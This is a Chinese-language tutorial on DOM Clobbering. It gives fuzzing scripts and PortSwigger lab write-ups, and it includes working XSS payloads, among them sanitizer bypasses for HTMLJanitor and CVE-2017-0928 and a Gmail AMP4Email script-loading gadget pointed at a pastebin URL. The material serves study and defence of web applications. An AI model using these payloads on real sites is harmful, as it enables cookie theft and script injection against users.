其实 Dom Clobbering 比较简单，我们看几个简单的例子就能知道它是干什么了的。
### Exmaple 1 - Create
从图中我们可以看到通过 id 或者 name 属性，我们可以在`document`或者`window`对象下创建一个对象。
### Example 2 - Overwrite
可以看到`document.cookie`已经被我们用 img 标签给覆盖了
### Example 3 - Overwrite2
可以看到我们通过多层覆盖掉了`document.body.appendChild`方法。
## Attack Method
既然我们可以通过这种方式去创建或者覆盖 document 或者 window
对象的某些值，但是看起来我们举的例子只是利用标签创建或者覆盖最终得到的也是标签，是一个`HTMLElment`对象。
但是对于大多数情况来说，我们可能更需要将其转换为一个可控的字符串类型，以便我们进行操作。
### toString
所以我们可以通过以下代码来进行 fuzz 得到可以通过`toString`方法将其转换成字符串类型的标签：
Object.getOwnPropertyNames(window)
.filter(p => p.match(/Element$/))
.map(p => window[p])
.filter(p => p && p.prototype && p.prototype.toString !== Object.prototype.toString)
我们可以得到两种标签对象：`HTMLAreaElement (<area>)`& `HTMLAnchorElement
(<a>)`，这两个标签对象我们都可以利用`href`属性来进行字符串转换。
### HTMLCollection
但是如果我们需要的是`x.y`这种形式呢？两层结构我们应该怎么办呢？我们可以尝试上述的办法：
<div id=x>
<a id=y href='1:hasaki'></a>
</div>
<script>
alert(x.y);
</script>
这里无论第一个标签怎么组合，得到的结果都只是`undefined`。但是我们可以通过另一种方法加入引入 name 属性就会有其他的效果。
`HTMLCollection`是一个`element`的“集合”类，在最新的 [Dom
标准](https://dom.spec.whatwg.org/#interface-htmlcollection)中 IDL 描述如下：
> [Exposed=Window, LegacyUnenumerableNamedProperties]
> interface HTMLCollection {
> readonly attribute unsigned long length;
> getter Element? item(unsigned long index);
> getter Element? namedItem(DOMString name);
> };
文中也提到了
> `HTMLCollection` _is a historical artifact we cannot rid the web of. While
> developers are of course welcome to keep using it, new API standard
> designers ought not to use it (use_ `sequence` _in IDL instead)._
它是一种历史产物，并且在今天我们也可以继续使用这个类，只是对于 API 标准设计者不推荐再使用。
关于它的用法：
> collection . `length`
>
> Returns the number of [elements](https://dom.spec.whatwg.org/#concept-> element) in the [collection](https://dom.spec.whatwg.org/#concept-> collection).
>
> element = collection . `item(index)`
>
> element = collection[index]
>
> Returns the [element](https://dom.spec.whatwg.org/#concept-element) with
> index index from the [collection](https://dom.spec.whatwg.org/#concept-> collection). The [elements](https://dom.spec.whatwg.org/#concept-element)
> are sorted in [tree order](https://dom.spec.whatwg.org/#concept-tree-order).
>
> element = collection . `namedItem(name)`
>
> element = collection[name]
>
> Returns the first [element](https://dom.spec.whatwg.org/#concept-element)
> with [ID](https://dom.spec.whatwg.org/#concept-id) or name name from the
> collection.
让我们值得注意的是我们可以通过`collection[name]`的形式来调用其中的元素，所以我们似乎可以通过先构建一个`HTMLCollection`，再通过`collection[name]`的形式来调用。
<div id="x">
<a id="x" name=y href="1:hasaki"></a>
</div>
### HTML Relationships
再者，我们也可以通过利用 HTML 标签之间存在的关系来构建层级关系。
var log=[];
var html = ["a","abbr","acronym","address","applet","area","article","aside","audio","b","base","basefont","bdi","bdo","bgsound","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","command","content","data","datalist","dd","del","details","dfn","dialog","dir","div","dl","dt","element","em","embed","fieldset","figcaption","figure","font","footer","form","frame","frameset","h1","head","header","hgroup","hr","html","i","iframe","image","img","input","ins","isindex","kbd","keygen","label","legend","li","link","listing","main","map","mark","marquee","menu","menuitem","meta","meter","multicol","nav","nextid","nobr","noembed","noframes","noscript","object","ol","optgroup","option","output","p","param","picture","plaintext","pre","progress","q","rb","rp","rt","rtc","ruby","s","samp","script","section","select","shadow","slot","small","source","spacer","span","strike","strong","style","sub","summary","sup","svg","table","tbody","td","template","textarea","tfoot","th","thead","time","title","tr","track","tt","u","ul","var","video","wbr","xmp"], logs = [];
div=document.createElement('div');
for(var i=0;i<html.length;i++) {
for(var j=0;j<html.length;j++) {
div.innerHTML='<'+html[i]+' id=element1>'+'<'+html[j]+' id=element2>';
document.body.appendChild(div);
if(window.element1 && element1.element2){
log.push(html[i]+','+html[j]);
}
document.body.removeChild(div);
}
}
console.log(log.join('\n'));
以上代码测试了现在 HTML5 基本上所有的标签，使用两层的层级关系进行 fuzz
，注意这里只使用了`id`，并没有使用`name`，遇上文的`HTMLCollection`并不是一种方法。
我们可以得到的是以下关系：
form->button
form->fieldset
form->image
form->img
form->input
form->object
form->output
form->select
form->textarea
如果我们想要构建`x.y`的形式，我们可以这么构建：
<form id=x><output id=y>I've been clobbered</output>
<script>
alert(x.y.value);
</script>
### Three Level
三级的层级关系我们就需要用到以上两种技巧来构建了
<form id="x" name="y"><output id=z>I've been clobbered</output></form>
<form id="x"></form>
<script>
alert(x.y.z.value);
</script>
这个也比较简单，先用一个`HTMLCollection`获取第二级，再在第一个表单中用`output`标签即可。
### More
三层层级以上的我们就需要用到`iframe`与`srcdoc`来进行配合
<iframe name=a srcdoc="
<iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
<script>setTimeout(()=>alert(a.b.c.d),500)</script>
因为需要等待所有的`iframe`加载完毕我们才能获得这个层级关系，所以需要用到延时，不用延时也可以通过网络请求来进行延缓：
<iframe name=a srcdoc="
<iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
<style>@import 'http://example.com';</style>
<script>
alert(a.b.c.d)
</script>
### Custom
以上我们都是通过 id 或者 name 来利用，那我们能不能通过自定义属性来构造呢？
<form id=x y=123></form>
<script>
alert(x.y)//undefined
</script>
很明显，这意味着任何未定义的属性都不会具有 DOM 属性，所以就返回了 `undefined`
我们可以尝试一下 fuzz 所有标签的有没有字符串类型的属性可供我们使用：
var html = [...]//HTML elements array
var props=[];
for(i=0;i<html.length;i++){
obj = document.createElement(html[i]);
for(prop in obj) {
if(typeof obj[prop] === 'string') {
try {
props.push(html[i]+':'+prop);
}catch(e){}
}
}
}
console.log([...new Set(props)].join('\n'));
我们可以得到一系列标签字符串类型的属性，例如:
a:username
a:password
但是这仅仅得到的只是知道它们属性为字符串类型，我们需要知道能不能利用，于是我们需要加上一些东西来进行验证
var html = [...]//HTML elements array
var props=[];
for(i=0;i<html.length;i++){
obj = document.createElement(html[i]);
for(prop in obj) {
if(typeof obj[prop] === 'string') {
try {
DOM.innerHTML = '<'+html[i]+' id=x '+prop+'=1>';
if(document.getElementById('x')[prop] == 1) {
props.push(html[i]+':'+prop);
}
}catch(e){}
}
}
}
console.log([...new Set(props)].join('\n'));
我们可以得到一系列的标签以及其属性名称，例如我们可以利用其中的`a:title`来进行组合
<a id=x title='hasaki'></a>
<script>
console.log(x.title);//hasaki
</script>
其中在我们第一步得到的属性中比较有意思的是 a
标签的`username`跟`password`属性，虽然我们不能直接通过`title`这种形式利用，但是我们可以通过`href`的形式来进行利用：
<a id=x href="ftp:Clobbered-username:Clobbered-Password@a">
<script>
alert(x.username)//Clobbered-username
alert(x.password)//Clobbered-password
</script>
## Exploit Example
PostWigger 提供了两个实验环境 <https://portswigger.net/web-security/dom-based/dom-clobbering，>
### Lab: Exploiting DOM clobbering to enable XSS
> This lab contains a DOM-clobbering vulnerability. The comment
> functionality allows "safe" HTML. To solve this lab, construct an HTML
> injection that clobbers a variable and uses
> [XSS](https://portswigger.net/web-security/cross-site-scripting) to call the
> alert() function.
这个实验我们可以在`resources/js/loadCommentsWithDomPurify.js`路由找到这个 JS
文件，在`displayComments()`函数中我们又可以发现
let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
let divImgContainer = document.createElement("div");
divImgContainer.innerHTML = avatarImgHTML
这里很明显我们可以用 Dom Clobbering 来控制
`window.defaultAvatar`，只要我们原来没有头像就可以用一个构造一个`defaultAvatar.avatar`进行 XSS 了。
根据前面的知识，这是一个两层的层级关系，我们可以用 HTMLCollection 来操作
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="1:"onerror=alert(1)//">
这里注意`"`需要进行 HTML实体编码，用 URL 编码的话浏览器会报错`1:%22onerror=alert(1)//
net::ERR_FILE_NOT_FOUND`。
这样评论以后我们可以在自己的评论处看到：
<p><a id="defaultAvatar"></a><a href="1:"onerror=alert(1)//" name="avatar" id="defaultAvatar"></a></p>
我们再随便评论一下就好了，就可以触发我们构造的 XSS 了。
### Lab:Clobbering DOM attributes to bypass HTML filters
> This lab uses the HTMLJanitor library, which is vulnerable to [DOM
> clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering).
> To solve this lab, construct a vector that bypasses the filter and uses DOM
> clobbering to inject a vector that alerts document.cookie. You may need to
> use the exploit server in order to make your vector auto-execute in the
> victim's browser.
>
> Note: The intended solution to this lab will not work in Firefox. We
> recommend using Chrome to complete this lab.
这个题目也比较有意思，在`resources/js/loadCommentsWithHtmlJanitor.js`文件中，我们可以发现代码安全多了，没有明显的直接用`Window.x`这种代码了
let janitor = new HTMLJanitor({tags: {input:{name:true,type:true,value:true},form:{id:true},i:{},b:{},p:{}}});
一开始就初始化了`HTMLJanitor`，只能使用初始化内的标签及其属性，对于重要的输入输出地方都使用了`janitor.clean`进行过滤。看起来我们没办法很简单地进行
XSS ，那我们就只能来看看`resources/js/htmlJanitor.js`这个过滤文件了。
HTMLJanitor.prototype.clean = function(html) {
const sandbox = document.implementation.createHTMLDocument("");
const root = sandbox.createElement("div");
root.innerHTML = html;
this._sanitize(sandbox, root);
return root.innerHTML;
};
首先用`document.implementation.createHTMLDocument`创建了一个新的 HTML 文档用作 sandbox ，然后对于
sandbox 内的元素进行`_sanitize`过滤。
HTMLJanitor.prototype._sanitize = function(document, parentNode) {
var treeWalker = createTreeWalker(document, parentNode);
//...
}
在`_sanitize`函数一开始调用了`createTreeWalker`函数创建一个`TreeWalker`，这个类表示一个当前文档的子树中的所有节点及其位置。
function createTreeWalker(document, node) {
return document.createTreeWalker(
node,
NodeFilter.SHOW_TEXT |
NodeFilter.SHOW_ELEMENT |
NodeFilter.SHOW_COMMENT,
null,
false
);
}
这里的`node`即为一开始的`root`，也就是我们构造的`html`会在传入到`node`参数，`document`即为一开始的`sandbox`，接着进入循环进行判断，对于文本呢绒以及注释进行处理
if (node.nodeType === Node.TEXT_NODE) {
//如果此文本节点只是空白，并且上一个或下一个元素同级是`blockElement`，则将其删除
}
// 移除所有的注释
if (node.nodeType === Node.COMMENT_NODE) {
//...
}
//检查`inlineElement`中是否还有`BlockElement`
var isInline = isInlineElement(node);
var containsBlockElement;
if (isInline) {
containsBlockElement = Array.prototype.some.call(
node.childNodes,
isBlockElement
);
}
//检查`BlockElement`是否嵌套
var isNotTopContainer = !!parentNode.parentNode;
var isNestedBlockElement =
isBlockElement(parentNode) &&
isBlockElement(node) &&
isNotTopContainer;
var nodeName = node.nodeName.toLowerCase();
//获取允许使用的属性
var allowedAttrs = getAllowedAttrs(this.config, nodeName, node);
var isInvalid = isInline && containsBlockElement;
//根据白名单删除标签
if (
isInvalid ||
shouldRejectNode(node, allowedAttrs) ||
(!this.config.keepNestedBlockElements && isNestedBlockElement)
) {
// Do not keep the inner text of SCRIPT/STYLE elements.
if (
!(node.nodeName === "SCRIPT" || node.nodeName === "STYLE")
) {
while (node.childNodes.length > 0) {
parentNode.insertBefore(node.childNodes[0], node);
}
}
parentNode.removeChild(node);
this._sanitize(document, parentNode);
break;
}
最后看到值得我们关注的点：
// Sanitize attributes
for (var a = 0; a < node.attributes.length; a += 1) {
var attr = node.attributes[a];
if (shouldRejectAttr(attr, allowedAttrs, node)) {
node.removeAttribute(attr.name);
// Shift the array to continue looping.
a = a - 1;
}
}
// Sanitize children
this._sanitize(document, node);
在这里最终对标签的属性进行了 check ，对 node 的每个属性都进行了白名单检查
function shouldRejectAttr(attr, allowedAttrs, node) {
var attrName = attr.name.toLowerCase();
if (allowedAttrs === true) {
return false;
} else if (typeof allowedAttrs[attrName] === "function") {
return !allowedAttrs[attrName](attr.value, node);
} else if (typeof allowedAttrs[attrName] === "undefined") {
return true;
} else if (allowedAttrs[attrName] === false) {
return true;
} else if (typeof allowedAttrs[attrName] === "string") {
return allowedAttrs[attrName] !== attr.value;
}
return false;
}
如果发现有不在白名单的属性，会使用`node.removeAttribute(attr.name);`进行删除，然后对子节点进行递归`_sanitize`。所以有两个思路，要么绕标签过滤，要么绕节点属性过滤。
标签的获取由`treeWalker.firstChild();`得到，过滤由`getAllowedAttrs`以及`shouldRejectNode`两个函数进行，由于这里的过滤是进行白名单过滤，没什么办法进行绕过；属性的获取在一个`for`循环当中，条件是`node.attributes.length`，获取方式是`node.attributes[a]`，过滤由`shouldRejectAttr`方法进行。
对 Dom Clobbering 比较敏感的同学可能会注意到这里，对于 node
属性过滤时的`for`循环条件，直接使用了`node.attributes.length`，倘若我们构造的节点正好有一个`attributes`子节点会怎么样呢？
<form id=x>
<img>
</form>
<script>
var node = document.getElementById('x');
console.log(node.attributes);
for (let a = 0; a < node.attributes.length; a++) {
console.log(node.attributes[a]);
}
console.log('finished');
</script>
以上这段代码会输出一个`NamedNodeMap`对象，`id='x'`以及 finished
<form id=x>
<img name=attributes>
</form>
<script>
var node = document.getElementById('x');
console.log(node.attributes);
for (let a = 0; a < node.attributes.length; a++) {
console.log(node.attributes[a]);
}
console.log('finished');
</script>
以上这段代码会输出`<img name=attributes>`以及 finished
，我们可以看到我们使用`name=attributes`成功地覆盖了原来的`node.attributes`，所以`node.attributes.length`在这里的值为`undefined`，并且也没有影响
JS 代码的继续运行。
所以明白了这个简单的例子，我们可以构造一个包含有`name=attributes`的子节点的 payload 绕过属性的 check
，这里给定的白名单标签也比较明显，我们可以通过 HTML Relationships 来构造我们的 payload
<form id=x ><input id=attributes>
接着就是构造 XSS 了，根据题目要求，需要用户访问触发，所以我们可以利用`tabindex`属性，配合`form`的`onfocus`时间来 XSS 。
<form id=x tabindex=0 onfocus=alert(document.cookie)><input id=attributes>
把它当作评论提交
但是如果直接交给用户点击的话是不会触发的，因为评论是由 aJax 请求拿到的，直接访问的话，Dom 树是还没有评论的，得需要等待 JS
执行完成才会有评论，所以这里我们需要一个延时或者阻塞的操作。比较简单的是利用`iframe`进行`setTimeout`
<iframe src=https://your-lab-id.web-security-academy.net/post?postId=3 onload="setTimeout(a=>this.src=this.src+'#x',500)">
这里要注意一定要得等评论加载完毕再用`#x`选择`form`，所以这里的 500ms 需要根据自己的网络情况适当调整。
### CVE-2017-0928 Bypassing sanitization using DOM clobbering
[html-janitor](https://github.com/guardian/html-janitor/) 也就是我们上文用到的 HTML
filters，在 v2.0.2 当中，janitor 在循环中有这么几行代码：
do {
// Ignore nodes that have already been sanitized
if (node._sanitized) {
continue;
}
//...
// Sanitize children
this._sanitize(node);
// Mark node as sanitized so it's ignored in future runs
node._sanitized = true;
} while ((node = treeWalker.nextSibling()));
用`_sanitized`作为标志位来标志是否已经进行标准化，但是这里，由我们上个例子可以得出，我们可以利用与上个例子类似的 payload 绕过第一个
if 就可以绕过标准化过滤了。
<form><object onmouseover=alert(document.domain) name=_sanitized></object></form>
修复方案是删除了这些判断，对子树利用递归形式进行标准化过滤。
### XSS in GMail’s AMP4Email via DOM Clobbering
终于到了我们开头提到的 OWASP Top 10 提名的攻击实例了，作者首先通过直接在控制台输入 window 进行 fuzz
这里他首先利用了`AMP`，尝试插入`<a id=AMP>`，但是这个`AMP`被 ban 了
接着找到下一个`AMP_MODE`，这个没有被 ban ，反而让作者发现了这里加载失败的 URL 当中有一个`undefined`
这就是作者插入了`<a id=AMP_MODE>`导致产生的`undefined`，主要产生这个问题的代码经作者简化后是这样的：
var script = window.document.createElement("script");
script.async = false;
var loc;
if (AMP_MODE.test && window.testLocation) {
loc = window.testLocation
} else {
loc = window.location;
}
if (AMP_MODE.localDev) {
loc = loc.protocol + "//" + loc.host + "/dist"
} else {
loc = "https://cdn.ampproject.org";
}
var singlePass = AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "";
b.src = loc + "/rtv/" + AMP_MODE.rtvVersion; + "/" + singlePass + "v0/" + pluginName + ".js";
document.head.appendChild(b);
代码比较简单，如果再要简化到核心代码就是：
var script = window.document.createElement("script");
script.async = false;
b.src = window.testLocation.protocol + "//" +
window.testLocation.host + "/dist/rtv/" +
AMP_MODE.rtvVersion; + "/" +
(AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "") +
"v0/" + pluginName + ".js";
document.head.appendChild(b);
所以我们可以用 Dom Clobbering 来让它加载我们任意的 js 文件，直接劫持`protocol`到我们任意
URL，再利用`#`注释掉后面的即可。
<!-- We need to make AMP_MODE.localDev and AMP_MODE.test truthy-->
<a id="AMP_MODE"></a>
<a id="AMP_MODE" name="localDev"></a>
<a id="AMP_MODE" name="test"></a>
<!-- window.testLocation.protocol is a base for the URL -->
<a id="testLocation"></a>
<a id="testLocation" name="protocol"
href="https://pastebin.com/raw/0tn8z0rG#"></a>
虽然 URL 构造出来了，但是 Google 还有 CSP
Content-Security-Policy: default-src 'none';
script-src 'sha512-oQwIl...=='
https://cdn.ampproject.org/rtv/
https://cdn.ampproject.org/v0.js
https://cdn.ampproject.org/v0/
虽然他当时没绕过，但是 Google 还是全额地给了他奖金。
另外这个 CSP 可以利用`..%252f`的 trick 进行绕过，由于不属于这篇文章的范围，这里就不详述了，感兴趣的同学可自行搜索。
这里由于篇幅关系，就不再列举更多的例子了，我会把最近自己做的一些 XSS Game 中涉及到 Dom Clobbering 的部分以 Tip 的形式写出来。
## Thinking
既然我们一开始提到过或许可以覆盖某些属性，那么我们可不可以覆盖或者说完全控制`document.cookie`呢？究竟我们可以覆盖哪些呢？又可以怎么利用呢？哪些可以用
ID 哪些用 Name呢？
接下来我们来看最后一个问题：哪些用 id 哪些用 name ？
### Document & Id
var html = [...];//HTML elements array
var log = [];
var div = document.createElement("div");
for (var i = 0; i < html.length; i++) {
div.innerHTML = "<" + html[i] + " id=x >";
document.body.appendChild(div);
if (document.x == document.getElementById('x') && document.x != undefined) {
log.push(html[i]);
}
document.body.removeChild(div);
}
console.log(log);
我们可以得到只有`object`标签`document`可以通过 id 进行直接获取
["object"]
### Document & Name
document.x == document.getElementsByName("x")[0] && document.x != undefined
我们可以得到以下五个元素可以让`document`通过 name 进行直接获取
["embed", "form", "image", "img", "object"]
### Document & Name & Id
var html = [...];//HTML elements array
var log = [];
var div = document.createElement("div");
for (var i = 0; i < html.length; i++) {
div.innerHTML = "<" + html[i] + " id=x name=y >";
document.body.appendChild(div);
if (
document.x == document.getElementsByName("y")[0] && document.x != undefined
) {
log.push(html[i]);
}
document.body.removeChild(div);
}
console.log(log);
我们可以得到一下三个元素：
["image", "img", "object"]
### Window & Id
var html = [...];//HTML elements array
var log = [];
var div = document.createElement("div");
for (var i = 0; i < html.length; i++) {
div.innerHTML = "<" + html[i] + " id=x >";
document.body.appendChild(div);
if (window.x == document.getElementById('x') && window.x != undefined) {
log.push(html[i]);
}
document.body.removeChild(div);
}
console.log(log);
除了在 Not Clobbered 部分的标签，其他标签`window`均可通过 id 进行直接获取
(128) ["a", "abbr", "acronym", "address", "applet", "area", "article", "aside", "audio", "b", "base", "basefont", "bdi", "bdo", "bgsound", "big", "blink", "blockquote", "br", "button", "canvas", "center", "cite", "code", "command", "content", "data", "datalist", "dd", "del", "details", "dfn", "dialog", "dir", "div", "dl", "dt", "element", "em", "embed", "fieldset", "figcaption", "figure", "font", "footer", "form", "h1", "header", "hgroup", "hr", "i", "iframe", "iframes", "image", "img", "input", "ins", "isindex", "kbd", "keygen", "label", "legend", "li", "link", "listing", "main", "map", "mark", "marquee", "menu", "menuitem", "meta", "meter", "multicol", "nav", "nextid", "nobr", "noembed", "noframes", "noscript", "object", "ol", "optgroup", "option", "output", "p", "param", "picture", "plaintext", "pre", "progress", "q", "rb", "rp", "rt", "rtc", "ruby", "s", "samp", "script", …]
### Window & Name
window.x == document.getElementsByName("x")[0] && window.x != undefined
这里与 document 一致，只有五个标签可以让`window`通过 name 进行直接获取
["embed", "form", "image", "img", "object"]
### 'Not Clobbered'
["body", "caption", "col", "colgroup", "frame", "frameset", "head", "html", "tbody", "td", "tfoot", "th", "thead", "tr"]
PS: 这部分并不是真正不能 Clobbered ，因为比如说`body`，因为我本身界面存在一个`body`标签，只是在我测试构建的简单的 HTML
页面中，这些标签不能被 Clobbered ，而且在实际中也用到比较少。并且根据 Chromium 中的说法是"but anything by
id"，所以如果需要通过`Window.id`的形式去获取标签的话，还有很多标签可以使用，或者也可以尽力去构建下文的要求。
### Dom Doc
其实在 Dom 标准中也有提及过这部分，在[A part of Document
interface](https://html.spec.whatwg.org/multipage/dom.html#dom-document-currentscript) 这一段中，我们可以看到有相关规定：
> The `Document` interface [supports named
> properties](https://heycam.github.io/webidl/#dfn-support-named-properties).
> The [supported property names](https://heycam.github.io/webidl/#dfn-> supported-property-names) of a `Document` object document at any moment
> consist of the following, in [tree
> order](https://dom.spec.whatwg.org/#concept-tree-order) according to the
> element that contributed them, ignoring later duplicates, and with values
> from `id` attributes coming before values from `name` attributes when the
> same element contributes both:
>
> * the value of the `name` content attribute for all
> [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) `embed`,
> `form`, `iframe`, `img`, and
> [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) `object`
> elements that have a non-empty `name` content attribute and are [in a
> document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with
> document as their [root](https://dom.spec.whatwg.org/#concept-tree-root);
> * the value of the `id` content attribute for all
> [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) `object`
> elements that have a non-empty `id` content attribute and are [in a document
> tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as
> their [root](https://dom.spec.whatwg.org/#concept-tree-root); and
> * the value of the `id` content attribute for all `img` elements that have
> both a non-empty `id` content attribute and a non-empty `name` content
> attribute, and are [in a document tree](https://dom.spec.whatwg.org/#in-a-> document-tree) with document as their
> [root](https://dom.spec.whatwg.org/#concept-tree-root).
>
也有关于[ Window 对象的部分](https://html.spec.whatwg.org/multipage/window-object.html#named-access-on-the-window-object)：
> The `Window` object [supports named
> properties](https://heycam.github.io/webidl/#dfn-support-named-properties).
> The [supported property names](https://heycam.github.io/webidl/#dfn-> supported-property-names) of a `Window` object window at any moment consist
> of the following, in [tree order](https://dom.spec.whatwg.org/#concept-tree-> order) according to the element that contributed them, ignoring later
> duplicates:
>
> * window's [document-tree child browsing context name property
> set](https://html.spec.whatwg.org/multipage/window-object.html#document-> tree-child-browsing-context-name-property-set);
> * the value of the `name` content attribute for all `embed`, `form`,
> `img`, and `object` elements that have a non-empty `name` content attribute
> and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-> tree) with window's [associated
> `Document`](https://html.spec.whatwg.org/multipage/window-> object.html#concept-document-window) as their
> [root](https://dom.spec.whatwg.org/#concept-tree-root); and
> * the value of the `id` content attribute for all [HTML
> elements](https://html.spec.whatwg.org/multipage/infrastructure.html#html-> elements) that have a non-empty `id` content attribute and are [in a
> document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with
> window's [associated
> `Document`](https://html.spec.whatwg.org/multipage/window-> object.html#concept-document-window) as their
> [root](https://dom.spec.whatwg.org/#concept-tree-root).
>
### Window
关于 window 对象，虽然 window 对象可以通过 id 直接获取标签，但是我目前还没发现可以直接通过标签 id 进行 clobber
的属性，毕竟是基于 Dom 的攻击技术。
### Document
至于 Document 对象，我列举了一下 Document 对象特有的属性以及其对应的类型：
Class | Attr
---|---
DOMImplementation | ["implementation"]
HTMLCollection | ["images", "embeds", "plugins", "links", "forms", "scripts",
"anchors", "applets", "children"]
String | ["documentURI", "compatMode", "characterSet", "charset",
"inputEncoding", "contentType", "domain", "referrer", "cookie",
"lastModified", "readyState", "title", "dir", "designMode", "fgColor",
"linkColor", "vlinkColor", "alinkColor", "bgColor", "visibilityState",
"webkitVisibilityState", "nodeName", "baseURI"]
HTMLBodyElement | ["body", "activeElement"]
HTMLHeadElement | ["head"]
HTMLScriptElement | ["currentScript"]
HTMLAllCollection | ["all"]
NodeList | ["childNodes"]
Window | ["defaultView"]
DocumentType | ["doctype", "firstChild"]
Boolean | ["xmlStandalone", "hidden", "wasDiscarded", "webkitHidden",
"fullscreenEnabled", "fullscreen", "webkitIsFullScreen",
"webkitFullscreenEnabled", "pictureInPictureEnabled", "isConnected"]
FontFaceSet | ["fonts"]
StyleSheetList | ["styleSheets"]
Function | ["getElementsByTagName", "getElementsByTagNameNS",
"getElementsByClassName", "createDocumentFragment", "createTextNode",
"createCDATASection", "createComment", "createProcessingInstruction",
"importNode", "adoptNode", "createAttribute", "createAttributeNS",
"createEvent", "createRange", "createNodeIterator", "createTreeWalker",
"getElementsByName", "write", "writeln", "hasFocus", "execCommand",
"queryCommandEnabled", "queryCommandIndeterm", "queryCommandState",
"queryCommandSupported", "queryCommandValue", "clear", "exitPointerLock",
"createElement", "createElementNS", "caretRangeFromPoint", "elementFromPoint",
"elementsFromPoint", "getElementById", "prepend", "append", "querySelector",
"querySelectorAll", "exitFullscreen", "webkitCancelFullScreen",
"webkitExitFullscreen", "createExpression", "createNSResolver", "evaluate",
"registerElement", "exitPictureInPicture", "hasChildNodes", "getRootNode",
"normalize", "cloneNode", "isEqualNode", "isSameNode",
"compareDocumentPosition", "contains", "lookupPrefix", "lookupNamespaceURI",
"isDefaultNamespace", "insertBefore", "appendChild", "replaceChild",
"removeChild"]
NodeList | ["childNodes"]
Array | ["adoptedStyleSheets"]
FeaturePolicy | ["featurePolicy"]
Null | ["xmlEncoding", "xmlVersion", "onreadystatechange",
"onpointerlockchange", "onpointerlockerror", "onbeforecopy", "onbeforecut",
"onbeforepaste", "onfreeze", "onresume", "onsecuritypolicyviolation",
"onvisibilitychange", "oncopy", "oncut", "onpaste", "pointerLockElement",
"fullscreenElement", "onfullscreenchange", "onfullscreenerror",
"webkitCurrentFullScreenElement", "webkitFullscreenElement",
"onwebkitfullscreenchange", "onwebkitfullscreenerror", "rootElement",
"pictureInPictureElement", "ownerDocument", "parentNode", "parentElement",
"previousSibling", "nextSibling", "nodeValue", "textContent"]
其中，`HTMLBodyElement`/`HTMLHeadElement`/`HTMLScriptElement`
均继承自`HTMLElement`，为什么需要这些呢？因为在很多时候我们 Clobber 得到的就是一个`HTMLElement`，而 Document
某些属性得到的也是一个`HTMLElement`，所以这时候我们可以直接利用。
## Cause
我想如果能覆盖的话，应该就是在调用`document.x`的时候， Dom
树解析得到的结果要优先于`document`自己本身属性，所以产生了这样的结果，但是这里也有一个问题，就是为什么我们在覆盖`cookie`的时候却不能完全控制覆盖呢？
带着这些疑问，我特地去看了一会 chromium 的源码，简略地看了一下这些实现，主要在 chromium 的 blink
部分。由于自己知识浅薄，并没有完整地阅读过 chromium 源码，这里还可能设计到一些编译原理的知识，所以我并没有安全把整个 Chromium
产生这个问题的缘由以代码追踪的形式弄出来，如果要弄的话估计也得去 debug Chromium
，那就是另一篇文章的内容了，所以这个部分还有待继续研究，不过我把自己看的一些有用的部分写出来。如果有兴趣的朋友可以联系我一起研究看看。（虽然我很菜XD
全部代码来源于 [Chomiunm Code Search](https://source.chromium.org/)，这个平台可以比较方便审代码。
### Location
首先我们来看看`location`，我们既可以使用`window.location`也可以使用`document.location`拿到`location`，这也能说明我们为什么上文要单独
fuzz Document 特有的属性而不是全部属性了。
在 Chromium 源码中，找到`location`比较简单， Chromium
直接调用了`window`对象的`location()`，所以我们就覆盖不了。
在`third_party/blink/renderer/core/dom/document.cc`中，第 933 行中有相关定义
[Document::location()](https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/dom/document.cc;l=933?originalUrl=https:%2F%2Fcs.chromium.org%2F)
Location* Document::location() const {
if (!GetFrame())
return nullptr;
return domWindow()->location();
}
可以看到，直接调用了`domWindow()`来获取`location`，在`third_party/blink/renderer/core/frame/dom_window.cc`中，第85行有相关定义
[DOMWindow::location()](https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/frame/dom_window.cc;drc=7e3843b722bda29c236e9cb49111f3296dc2ce20;l=85)
Location* DOMWindow::location() const {
if (!location_)
location_ = MakeGarbageCollected<Location>(const_cast<DOMWindow*>(this));
return location_.Get();
}
另外，有人提过相关用其他 hook 的方式 [Issue 315760: document.domain can be
hooked](https://bugs.chromium.org/p/chromium/issues/detail?id=315760)，里面提到可以
hook 到 domain 跟 location ，但是我在目前 stable chrome 上测试只能 hook 到 domain ，至于
location 不知道是不是被修了，尽管回复的是"Browsers allow hooking these properties. It doesn't
matter"
### Cookie
这里简单看了一下 Cookie 的实现，主要是这两部分代码：
[Document::cookie](https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/dom/document.cc;l=5798)
String Document::cookie(ExceptionState& exception_state) const {
if (GetSettings() && !GetSettings()->GetCookieEnabled())
return String();
CountUse(WebFeature::kCookieGet);
if (!GetSecurityOrigin()->CanAccessCookies()) {
if (IsSandboxed(mojom::blink::WebSandboxFlags::kOrigin))
exception_state.ThrowSecurityError(
"The document is sandboxed and lacks the 'allow-same-origin' flag.");
else if (Url().ProtocolIs("data"))
exception_state.ThrowSecurityError(
"Cookies are disabled inside 'data:' URLs.");
else
exception_state.ThrowSecurityError("Access is denied for this document.");
return String();
} else if (GetSecurityOrigin()->IsLocal()) {
CountUse(WebFeature::kFileAccessedCookies);
}
if (!cookie_jar_)
return String();
return cookie_jar_->Cookies();
}
[CookieJar::Cookies()](https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/loader/cookie_jar.cc;drc=76ccbe80ceaa4529956a6a3d9d8cc9e9a44b1904;l=27?originalUrl=https:%2F%2Fcs.chromium.org%2F)
